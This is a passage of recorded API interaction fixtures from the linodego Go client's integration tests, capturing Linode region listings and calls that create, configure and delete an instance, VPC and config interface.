172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:07 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-2yu6l4o73ht7","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 54253757, "label": "go-test-ins-wo-disk-2yu6l4o73ht7", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["139.144.202.159"], "ipv6": "1234::5678/128", "image": null, "region": "us-iad", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "82627d6efdfe4053b931690ee476e7b64f186697", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "738" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-8r49bm12fs2k","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253757/configs method: POST response: body: '{"id": 57334211, "label": "go-test-conf-8r49bm12fs2k", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1705956548479670000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1705956548479742000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 19446, "label": "go-test-vpc-1705956548479670000", "description": "", "region": "us-iad", "subnets": [{"id": 20513, "label": "linodego-vpc-test-1705956548479742000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "365" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:08 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"purpose":"vpc","subnet_id":20513}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253757/configs/57334211/interfaces method: POST response: body: '{"id": 976040, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": 19446, "subnet_id": 20513, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": null}, "ipv6": null, "ip_ranges": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "221" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:09 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"primary":true,"ipv4":{"vpc":"192.168.0.2"}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253757/configs/57334211/interfaces/976040 method: PUT response: body: '{"id": 976040, "purpose": "vpc", "primary": true, "active": false, "ipam_address": null, "label": null, "vpc_id": 19446, "subnet_id": 20513, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": null}, "ipv6": null, "ip_ranges": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "220" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:09 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"primary":true,"ipv4":{"vpc":"192.168.0.10","nat_1_1":"any"}}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253757/configs/57334211/interfaces/976040 method: PUT response: body: '{"id": 976040, "purpose": "vpc", "primary": true, "active": false, "ipam_address": null, "label": null, "vpc_id": 19446, "subnet_id": 20513, "ipv4": {"vpc": "192.168.0.10", "nat_1_1": "139.144.202.159"}, "ipv6": null, "ip_ranges": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "234" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/54253757 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/19446 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 22 Jan 2024 20:49:10 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestInstance_ConfigInterfaces_AppendDelete.yaml000066400000000000000000000767661455402072200357150ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage 